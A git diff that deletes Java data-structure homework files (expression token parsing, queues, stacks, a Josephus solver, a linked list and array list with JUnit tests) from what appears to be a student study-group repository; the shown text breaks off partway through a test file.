diff --git a/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java b/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
deleted file mode 100644
index ff11cc2395..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.ralf.stack.expr;
-
-import static org.junit.Assert.*;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/Token.java b/group23/632678665/com/basic/week7/stack/expr/Token.java
deleted file mode 100644
index 1696dafbef..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/Token.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.ralf.stack.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-public class Token {
-
-	public static final List<String> OPERATORS = Arrays.asList("+","-","*","/");
-	private static final Map<String, Integer> priorities = new HashMap<String, Integer>();
-	static{
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int NUMBER = 1;
-	static final int OPERATOR = 2;
-	String value;
-	int type;
-	
-	public Token(String value, int type){
-		this.value = value;
-		this.type = type;
-	}
-	public int getValue() {
-		
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	public boolean isNumber(){
-		return type == NUMBER;
-	}
-	public boolean isOperator(){
-		return type == OPERATOR;
-	}
-	public boolean hasHigherPriority(Token token){
-		
-		if (!this.isOperator() || !token.isOperator()) {
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(token.value) > 0;
-		
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/TokenParser.java b/group23/632678665/com/basic/week7/stack/expr/TokenParser.java
deleted file mode 100644
index 66206c9f11..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.ralf.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	public TokenParser(){
-
-	}
-	public List<Token> parse(String string) {
-		List<Token> tokens = new ArrayList<Token>();
-		int i = 0;
-		while(i < string.length()){
-			
-			char ch = string.charAt(i);
-			if (isOperator(ch)) {
-				Token token = new Token(String.valueOf(ch), Token.OPERATOR);
-				tokens.add(token);
-				i++;
-			}
-			else if (Character.isDigit(ch)) {
-				int nextIndexOfChar = nextIndexOfOperator(i,string);
-				String value = string.substring(i, nextIndexOfChar);
-				Token token = new Token(value, Token.NUMBER);
-				tokens.add(token);
-				i = nextIndexOfChar;
-			}
-			else {
-				System.out.println("char:" + ch + " is not a number or operator,ignore!");
-				i++;
-			}
-
-		}
-		
-		
-		return tokens;
-	}
-
-	private int nextIndexOfOperator(int i, String string) {
-		
-		while(Character.isDigit(string.charAt(i))){
-			i++;
-			if (i == string.length()) {
-				break;
-			}
-		}
-		return i;
-	}
-
-	private boolean isOperator(char ch) {
-		String string = String.valueOf(ch);
-		return Token.OPERATORS.contains(string);
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java b/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
deleted file mode 100644
index 3066880551..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package com.ralf.stack.expr;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		TokenParser tokenParser = new TokenParser();
-		
-		List<Token> list = tokenParser.parse("300*20+12*5-20/4");
-		Assert.assertEquals(300, list.get(0).getValue());
-		Assert.assertEquals("*", list.get(1).toString());
-		Assert.assertEquals(20, list.get(2).getValue());
-		Assert.assertEquals("+", list.get(3).toString());
-		Assert.assertEquals(12, list.get(4).getValue());
-		Assert.assertEquals("*", list.get(5).toString());
-		Assert.assertEquals(5, list.get(6).getValue());
-		Assert.assertEquals("-", list.get(7).toString());
-		Assert.assertEquals(20, list.get(8).getValue());
-		Assert.assertEquals("/", list.get(9).toString());
-		Assert.assertEquals(4, list.get(10).getValue());
-		
-	}
-
-}
diff --git a/group23/632678665/com/basic/week8/CircleQueue.java b/group23/632678665/com/basic/week8/CircleQueue.java
deleted file mode 100644
index 1a6f022a4e..0000000000
--- a/group23/632678665/com/basic/week8/CircleQueue.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/**
- * @author chk
- */
-public class CircleQueue{
-
-    private int size;
-    private int first;
-    private int last;
-    Object[] queue;
-
-    public CircleQueue(int size){
-        queue = new Object[size];
-        first = 0;
-        last = 0;
-    }
-
-    public boolean isEmpty(){
-        return first == last;
-    }
-
-    public void enCircleQueue(Object o){
-        if( (last+1) % size == first){
-               System.out.println("Circle Queue is full");
-        }else {
-            queue[last] = o;
-            last = (last+1) % queue.length;
-        }
-    }
-
-    public int getSize(){
-        return (last - first + queue.length) % queue.length;
-    }
-
-    public Object deCircleQueue(){
-        if(isEmpty()){
-            return null;
-        }else{
-            Object item = queue[first];
-            first = (first+1)%queue.length;
-            return item;
-        }
-
-    }
-}
diff --git a/group23/632678665/com/basic/week8/Josephus.java b/group23/632678665/com/basic/week8/Josephus.java
deleted file mode 100644
index e3380c0ca6..0000000000
--- a/group23/632678665/com/basic/week8/Josephus.java
+++ /dev/null
@@ -1,44 +0,0 @@
-
-/**
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
- * N个人围成一圈（位置记为0到N-1），
- * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
- * @author chk
- *
- */
-public class Josephus {
-
-    private static class Node {
-        int data;
-        Node next;
-
-        public Node(int i) {
-            data = i;
-        }
-    }
-
-    public static void execute(int n, int m) {
-
-        Node header = new Node(0);
-        Node pointer = header;
-        for (int i = 1; i < n; i++) {
-            pointer.next = new Node(i);
-            pointer = pointer.next;
-        }
-        pointer.next = header;
-        while (pointer != pointer.next) {
-            for (int i = 1; i <= m; i++) {
-                pointer = pointer.next;
-            }
-            System.out.println(pointer.next.data);
-            pointer.next = pointer.next.next;
-        }
-        System.out.println(pointer.next.data);
-
-    }
-    public static void main(String args[]){
-        Josephus circle = new Josephus();
-        circle.execute(8,4);
-    }
-}
diff --git a/group23/632678665/com/basic/week8/Queue.java b/group23/632678665/com/basic/week8/Queue.java
deleted file mode 100644
index ea0e0cd621..0000000000
--- a/group23/632678665/com/basic/week8/Queue.java
+++ /dev/null
@@ -1,55 +0,0 @@
-import javax.xml.soap.Node;
-import java.util.NoSuchElementException;
-
-/**
- * @author chk
- */
-public class Queue<E> {
-
-    private Node<E> first;
-    private Node<E> last;
-    private int size;
-
-    private static class Node<E>{
-        private E item;
-        private Node<E> next;
-    }
-    public Queue(){
-        first = null;
-        last = null;
-        size = 0;
-    }
-    public boolean isEmpty(){
-        return first == null;
-    }
-    public int size(){
-        return size;
-    }
-    public void enQueue(E data){
-        Node<E> oldlast = last;
-        last = new Node<E>();
-        last.item = data;
-        last.next = null;
-        if(isEmpty()){
-            first = last;
-        }else {
-            oldlast.next = last;
-        }
-        size++;
-    }
-    public E deQueue(){
-        if(isEmpty()){
-            throw new NoSuchElementException("queue is empty");
-        }else{
-            E item = first.item;
-            first = first.next;
-            size--;
-            if(isEmpty()){
-                last = null;
-            }
-            return item;
-        }
-    }
-
-
-}
diff --git a/group23/632678665/com/basic/week8/QueueWithTwoStacks.java b/group23/632678665/com/basic/week8/QueueWithTwoStacks.java
deleted file mode 100644
index af5d8a03df..0000000000
--- a/group23/632678665/com/basic/week8/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,47 +0,0 @@
-import java.util.Stack;
-
-/**
- * @author chk
- */
-public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;
-    private Stack<E> stack2;
-    public QueueWithTwoStacks(){
-        stackk = new Stack<E>();
-        stackkk = new Stack<E>();
-    }
-
-    public boolean isEmpty(){
-        return stackk.isEmpty() && stackkk.isEmpty();
-    }
-
-    public int size()
-    {
-        return stackk.size() + stack2.size();
-    }
-
-    public void enQueue(E item){
-
-        stackk.push(item);
-    }
-
-    public E deQueue(){
-        if(stackkk.isEmpty()){
-            while(!stackk.isEmpty()){
-                stackkk.push(stackk.pop());
-            }
-        }
-        return stackkk.pop();
-    }
-    public static void main(String args[]){
-        QueueWithTwoStacks queue = new QueueWithTwoStacks();
-        queue.enQueue(1);
-        queue.enQueue(5);
-        queue.enQueue(4);
-        queue.enQueue(0);
-        System.out.println(queue.deQueue());
-        System.out.println(queue.deQueue());
-        System.out.println(queue.deQueue());
-        System.out.println(queue.deQueue());
-    }
-}
diff --git a/group23/632678665/com/basic/week9/QuickMinStack.java b/group23/632678665/com/basic/week9/QuickMinStack.java
deleted file mode 100644
index bac723e3f1..0000000000
--- a/group23/632678665/com/basic/week9/QuickMinStack.java
+++ /dev/null
@@ -1,48 +0,0 @@
-
-
-import java.util.Stack;
-
-/**
- * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
- * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
- * @author chk
- *
- */
-public class QuickMinStack extends Stack<Integer> {
-
-    Stack<Integer> sMin;
-    public QuickMinStack(){
-        sMin = new Stack<Integer>();
-    }
-    public void push(int data){
-        if(data <= findMin()){
-            sMin.push(data);
-        }
-        super.push(data);
-    }
-    public Integer pop(){
-        int value = super.pop();
-        if(value == findMin()){
-            sMin.pop();
-        }
-        return value;
-    }
-    public int findMin(){
-        if(sMin.isEmpty()){
-            return Integer.MAX_VALUE;
-        }
-        return sMin.peek();
-    }
-
-    public static void main(String args[]){
-        QuickMinStack stack = new QuickMinStack();
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        stack.push(0);
-        System.out.println(stack.pop().intValue());
-        System.out.println(stack.findMin());
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-    }
-}
diff --git a/group23/632678665/com/basic/week9/StackWithTwoQueues.java b/group23/632678665/com/basic/week9/StackWithTwoQueues.java
deleted file mode 100644
index 7fcf9162c9..0000000000
--- a/group23/632678665/com/basic/week9/StackWithTwoQueues.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package com.basic.week9;
-import java.util.LinkedList;
-
-
-/**
- * @author chk
- */
-public class StackWithTwoQueues {
-
-    LinkedList<Integer> queue1=new LinkedList<Integer>();
-    LinkedList<Integer> queue2=new LinkedList<Integer>();
-    public void push(int data){
-        queue1.addLast(data);
-    }
-    public int pop() {
-        if (sSize() > 0) {
-            if (!queue1.isEmpty()) {
-                while (queue1.size() > 1) {
-                    queue2.addLast(queue1.removeFirst());
-                }
-                return queue1.removeFirst();
-            } else {
-                while (queue2.size() > 1) {
-                    queue1.addLast(queue2.removeFirst());
-                }
-                return queue2.removeFirst();
-            }
-        } else {
-            System.out.println("栈空,不能出栈");
-            return Integer.MAX_VALUE;
-        }
-    }
-    public int sSize(){
-        return queue1.size() + queue2.size();
-    }
-    public static void main(String[] args)
-    {
-        StackWithTwoQueues stack=new StackWithTwoQueues();
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        stack.push(4);
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-        stack.push(5);
-        stack.push(6);
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-    }
-}
diff --git a/group23/632678665/com/basic/week9/TwoStackInOneArray.java b/group23/632678665/com/basic/week9/TwoStackInOneArray.java
deleted file mode 100644
index 5443e6d6e4..0000000000
--- a/group23/632678665/com/basic/week9/TwoStackInOneArray.java
+++ /dev/null
@@ -1,82 +0,0 @@
-package com.basic.week9;
-import java.util.Stack;
-
-/**
- * @author chk
- */
-public class TwoStackInOneArray {
-
-
-
-    Object[] data = new Object[10];
-
-    private int index1 = 0;
-    private int index2 = data.length - 1;
-
-
-    private boolean isFull() {
-        if (index1 == index2) {
-            return true;
-        } else
-            return false;
-    }
-
-    private void extendCapacity() {
-
-    }
-
-    /**
-     * 向第一个栈中压入元素
-     *
-     * @param o
-     */
-    public void push1(Object o) {
-
-    }
-
-    /**
-     * 从第一个栈中弹出元素
-     *
-     * @return
-     */
-    public Object pop1() {
-        return null;
-    }
-
-    /**
-     * 获取第一个栈的栈顶元素
-     *
-     * @return
-     */
-
-    public Object peek1() {
-        return null;
-    }
-
-    /*
-     * 向第二个栈压入元素
-     */
-    public void push2(Object o) {
-
-    }
-
-    /**
-     * 从第二个栈弹出元素
-     *
-     * @return
-     */
-    public Object pop2() {
-        return null;
-    }
-
-    /**
-     * 获取第二个栈的栈顶元素
-     *
-     * @return
-     */
-
-    public Object peek2() {
-        return null;
-    }
-
-}
diff --git a/group23/729693763/First_Homework1/readme.md b/group23/729693763/First_Homework1/readme.md
deleted file mode 100644
index 219dee010b..0000000000
--- a/group23/729693763/First_Homework1/readme.md
+++ /dev/null
@@ -1,2 +0,0 @@
-It contain source code and Test file by JUnit,
-you can run SuitTest for testing whole file.
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java b/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
deleted file mode 100644
index ccb3bcb12c..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package com.danny.hw1;
-
-import java.lang.reflect.Array;
-import java.util.Arrays;
-
-import javax.print.attribute.Size2DSyntax;
-
-public class ArrayList implements List{
-	//ArrayList Size
-	private int size=0;
-	private int array_len=2;
-
-	//total element in here
-	private Object[] elementData = new Object[array_len];
-
-	@Override
-	public void add(Object o) {
-		// TODO Auto-generated method stub
-		adjustCapacity();
-		this.elementData[size++] = o;
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		// TODO Auto-generated method stub
-		//Check range. if index is invalid,then would not add anythings
-		rangeCheckForAdd(index);
-
-		adjustCapacity();
-		System.arraycopy(elementData, index, elementData, 
-						 index + 1,size - index);
-		this.elementData[index] = o;
-		this.size++;
-
-	}
-
-	@Override
-	public Object get(int index) {
-		// TODO Auto-generated method stub
-		rangeCheckExist(index);
-		
-		return elementData[index];
-
-	}
-
-	@Override
-	public Object remove(int index) {
-		// TODO Auto-generated method stub
-		rangeCheckExist(index);
-		
-		Object oldValue = elementData[index];
-		//deal with copy operation
-        int moveStep = size - index - 1;
-        if ( moveStep > 0 )
-            System.arraycopy(elementData, index+1, elementData, index,moveStep);
-        elementData[--size] = null; // clear to let GC do its work
-
-        return oldValue;
-
-	}
-
-	@Override
-	public int size() {
-		// TODO Auto-generated method stub
-		return this.size;
-	}
-	
-	//Get Iterator
-	public Iterator iterator() {
-		return new ArrayListIterator();
-	}
-
-	/*******  Iterator  *******/
-	private class ArrayListIterator implements Iterator{
-
-		private int currentIndex = 0;
-		
-		@Override
-		public boolean hasNext() {
-			return currentIndex < size();
-		}
-
-		@Override
-		public Object next() {
-			rangeCheckExist(currentIndex);
-			
-			return elementData[currentIndex++];
-		}
-	}
-	
-
-	/*******Inner function*******/
-	//Increase arraylist size
-	private void adjustCapacity(){
-		//array length can not satisfy data size;
-		if ( this.array_len < size() + 1 ) {
-			this.array_len *= 2;
-			this.elementData = Arrays.copyOf(elementData, array_len);
-		} else {
-			return ;
-		}
-	}
-
-	private void rangeCheckForAdd(int index) {
-		//Add operation is allow to add value in [ size() ] even if [ size() ] has not data
-		if ( index > size() || index < 0 )
-			throw new IndexOutOfBoundsException("Invalid Adding Index:"+index);
-	}
-	private void rangeCheckExist(int index) {
-		if ( index >= size() || index < 0 )
-			throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-
-
-
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java b/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
deleted file mode 100644
index 8e3178b50b..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
+++ /dev/null
@@ -1,101 +0,0 @@
-package com.danny.hw1;
-
-import java.util.Map;
-import java.util.TreeMap;
-
-public class BinaryTreeNode {
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public BinaryTreeNode insert(Object o){
-		if ( this.data == null && left == null && right == null ) {
-			this.data = o;
-			return this;
-		} else {
-			BinaryTreeNode temp = findNode(this, o);
-
-			BinaryTreeNode newNode = new BinaryTreeNode();
-			newNode.data = o;
-			//assert more than one null node in the temp(left,right,or both);
-			if ( temp.compareTo(o) >= 0 ) {
-				temp.left = newNode;
-			} else {
-				temp.right = newNode;
-			}
-			return newNode;
-		}
-	}
-		
-	public BinaryTreeNode() {
-		// TODO Auto-generated constructor stub
-		data=null;
-		left =null;
-		right = null;
-		
-	} 
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	private int compareTo(Object o){
-		// o1 > o2 == 1; o1 = o2 == 0 ; o1 < o2 == -1		
-		//假设这个比较现在只用在数字上
-		return Integer.parseInt(this.data.toString()) - Integer.parseInt(o.toString());
-	}
-	
-	private static BinaryTreeNode findNode(BinaryTreeNode root,Object o){
-		if ( root.left == null && root.right == null || 
-		   ( root.compareTo(o) < 0 && root.right == null) ||
-		   ( root.compareTo(o) >= 0 && root.left == null) ){
-			return root;
-		} else if ( root.compareTo(o) >= 0 ) {
-			//root data is bigger than object
-			return findNode(root.left, o);
-		} else {
-			return findNode(root.right, o);
-		}
-//			else if(root.compareTo(o) < 0 ){
-//			return findNode(root.right, o);
-//		}
-//		
-	}
-
-	//For Test value
-	private Map<Object, Integer> teMap = new TreeMap<>();
-	public void printWholeTree(BinaryTreeNode root,int layer){
-		if(root == null) {
-			return ;
-		}
-		teMap.put(root.data,layer);
-
-		layer++;
-		printWholeTree(root.left,layer);
-		printWholeTree(root.right,layer);
-		
-	}
-
-	public Map<Object,Integer > getTeMap() {
-		return teMap;
-	}
-
-	public void setTeMap(Map<Object, Integer> teMap) {
-		this.teMap = teMap;
-	}
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
deleted file mode 100644
index b1ff654263..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package com.danny.hw1;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java b/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
deleted file mode 100644
index 64c9b9bbca..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
+++ /dev/null
@@ -1,296 +0,0 @@
-package com.danny.hw1;
-
-public class LinkedList implements List{
-
-	private Node Head = null;
-	private Node Tail = null;
-	private int size = 0;
-	
-	@Override
-	public void add(Object o) {
-		// TODO Auto-generated method stub			
-		addLastNode(o);		
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		// TODO Auto-generated method stub
-		checkPositionIndex(index);
-		
-		if ( index == size() ){
-			addLastNode(o);
-		} else { 
-			addBeforeNode(index,o);
-		}	
-	}
-
-	@Override
-	public Object get(int index) {
-		// TODO Auto-generated method stub
-		checkElementIndex(index);
-		
-		Node findGetNode = findIndexNode(index);
-		return findGetNode.data;		
-	}
-
-	@Override
-	public Object remove(int index) {
-		// TODO Auto-generated method stub
-		checkElementIndex(index);
-		Node deleteNode = null;
-		
-		//delete all node
-		if ( size() == 1 ) {
-			deleteNode = this.Head;
-			this.Head = null;
-			this.Tail = null;			
-		} else if ( index == 0 ) {
-			//Remove Head
-			deleteNode = this.Head;
-			this.Head = this.Head.next;			
-		} else if ( index == size() - 1) {
-			//Remove Tail
-			deleteNode = this.Tail;
-			Node findDeleteNode = findIndexNode(index - 1);
-			findDeleteNode.next = null;
-			this.Tail = findDeleteNode;
-		} else {
-			//Remove Mid
-			Node findDeleteNode = findIndexNode(index - 1);
-			deleteNode = findDeleteNode.next;
-			findDeleteNode.next = findDeleteNode.next.next;
-		}
-		this.size--;
-		return deleteNode.data;
-	}
-
-	@Override
-	public int size() {
-		// TODO Auto-generated method stub
-		return this.size;
-	}
-	
-	@Override
-	public Iterator iterator(){
-		return new LinkedListIterator();
-	}
-	
-	/************Other function (without Interface function)**************/
-	
-	public void addFirst(Object o){
-		Node newNode = new Node();
-		newNode.data = o;
-		newNode.next = this.Head;
-		this.Head = newNode;
-	}
-	
-	public Object removeFirst(){
-		checkElementIndex(0);
-		
-		Node deleteNode = this.Head;
-		this.Head = this.Head.next;
-		
-		this.size--;
-		return deleteNode.data;
-	}
-	
-	public Object removeLast(){
-		checkElementIndex(size() - 1);
-		
-		Node deleteNode = this.Tail;
-		if ( this.Head == this.Tail ) {
-			this.Head = this.Tail = null;
-		} else {
-			this.Tail = findIndexNode(size() - 2);
-		}
-		this.size--;
-		return deleteNode.data;
-		
-	}
-	/************Iterator**************/
-	private class LinkedListIterator implements Iterator{
-		private Node currentNode;
-		private int currentIndex;
-		
-		public LinkedListIterator() {
-			// TODO Auto-generated constructor stub
-			this.currentIndex = 0;
-			this.currentNode = new Node();
-		}
-		@Override
-		public boolean hasNext() {
-			// TODO Auto-generated method stub
-			return currentIndex < size();
-		}
-
-		@Override
-		public Object next() {
-			// TODO Auto-generated method stub
-			checkElementIndex(currentIndex);
-			if ( currentNode.data == null ) {
-				this.currentNode = findIndexNode(currentIndex);
-			}
-				Object value = currentNode.data;
-				currentNode = currentNode.next;
-				currentIndex++;
-			return value;
-		}	
-	}
-		
-	/************Node class for supporting LinkedList**************/
-	private static class Node{
-		Object data ;
-		Node next ;
-		public Node() {
-			// TODO Auto-generated constructor stub
-			data = null;
-			next = null;
-		}
-	}
-	
-	/************Inner function **************/
-	private void checkPositionIndex(int index){
-		 if ( !( index >= 0 && index <= size ) )
-			 throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-	
-	private void checkElementIndex(int index){
-		 if ( !( index >= 0 && index < size ) )
-			 throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-		
-	private void addLastNode(Object o){	
-		Node newNode = new Node();
-		newNode.data = o;
-		
-		if ( this.Head == null ) {
-			this.Head = newNode;
-			this.Tail = newNode;			
-		} else {
-			if(this.Head == this.Tail ){								
-				this.Tail = newNode;
-				this.Head.next = this.Tail;
-			}
-			else{
-			//Tail and Head are different Object, 			
-				this.Tail.next = newNode;
-				this.Tail = newNode;
-			}
-		}
-		this.size++;
-	}
-	
-	private void addBeforeNode(int index,Object o){
-		Node newNode = new Node();
-		Node beforeInserNode = this.Head;
-		newNode.data = o;
-
-		// if index is in Head
-		if ( index == 0 ) { 
-			newNode.next = this.Head;
-			this.Head = newNode;
-		} else {
-			for (int i=0; i<index ;i++ ){
-				beforeInserNode = beforeInserNode.next;
-			}
-			newNode.next = beforeInserNode.next;
-			beforeInserNode.next = newNode;
-		}
-
-		this.size++;
-	}
-	
-	private Node findIndexNode(int index){
-		Node findGetNode = this.Head;
-		for ( int i=0; i< index; i++ ) {
-			findGetNode = findGetNode.next;
-		}
-		return findGetNode;
-	}
-
-}
-
-
-
-
-
-
-
-
-
-//
-///**
-// * 把该链表逆置
-// * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-// */
-//public  void reverse(){		
-//	
-//}
-//
-///**
-// * 删除一个单链表的前半部分
-// * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-// * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-//
-// */
-//public  void removeFirstHalf(){
-//	
-//}
-//
-///**
-// * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-// * @param i
-// * @param length
-// */
-//public  void remove(int i, int length){
-//	
-//}
-///**
-// * 假定当前链表和list均包含已升序排列的整数
-// * 从当前链表中取出那些list所指定的元素
-// * 例如当前链表 = 11->101->201->301->401->501->601->701
-// * listB = 1->3->4->6
-// * 返回的结果应该是[101,301,401,601]  
-// * @param list
-// */
-//public static int[] getElements(LinkedList list){
-//	return null;
-//}
-//
-///**
-// * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-// * 从当前链表中中删除在list中出现的元素 
-//
-// * @param list
-// */
-//
-//public  void subtract(LinkedList list){
-//	
-//}
-//
-///**
-// * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-// * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-// */
-//public  void removeDuplicateValues(){
-//	
-//}
-//
-///**
-// * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-// * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-// * @param min
-// * @param max
-// */
-//public  void removeRange(int min, int max){
-//	
-//}
-//
-///**
-// * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-// * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-// * @param list
-// */
-//public  LinkedList intersection( LinkedList list){
-//	return null;
-//}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/List.java b/group23/729693763/First_Homework1/src/com/danny/hw1/List.java
deleted file mode 100644
index e71a86c78d..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/List.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.danny.hw1;
-
-public interface List {
-	void add(Object o);
-	void add(int index,Object o);
-	Object get(int index);
-	Object remove(int index);
-	int size();
-	Iterator iterator();
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
deleted file mode 100644
index 58f957dd31..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.danny.hw1;
-
-public class Queue {
-	private LinkedList elementData = new LinkedList();
-
-	public void enQueue(Object o){	
-		elementData.add(o);
-	}
-
-	public Object deQueue(){
-		if ( size() > 0 ) {
-			return elementData.remove(0);
-		} else {
-			throw new IndexOutOfBoundsException("Queue is Null");
-		}
-	}
-
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
deleted file mode 100644
index 165387695b..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.danny.hw1;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-
-	public void push(Object o){
-		this.elementData.add(o);
-
-	}
-
-	public Object pop(){		
-		int size = this.elementData.size();
-
-		if ( size > 0 ) {
-			return this.elementData.remove(size - 1 );
-		} else{
-			throw new IndexOutOfBoundsException("Stack is empty");
-		}
-	}
-
-	public Object peek(){
-
-		if ( size() > 0 ) {
-			return this.elementData.get(size() - 1 );
-		} else{
-			throw new IndexOutOfBoundsException("Stack is empty");
-		}
-	}
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-
-	public int size(){
-		return this.elementData.size();
-	}
-
-	public Stack() {
-		// TODO Auto-generated constructor stub
-	}
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
deleted file mode 100644
index de4c734eb8..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import java.lang.reflect.Array;
-import java.lang.reflect.Parameter;
-import java.util.Arrays;
-import java.util.Collection;
-
-import javax.print.attribute.standard.RequestingUserName;
-import javax.xml.crypto.Data;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameters;
-
-import com.danny.hw1.ArrayList;
-import com.danny.hw1.Iterator;
-import com.danny.hw1.test_al;
-
-import junit.extensions.TestSetup;
-
-
-public class ArrayListTest {
-
-	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
-	ArrayList test;
-	@Before
-	public void setUp() throws Exception{
-		test = new ArrayList();
-		for(Object data: Data){
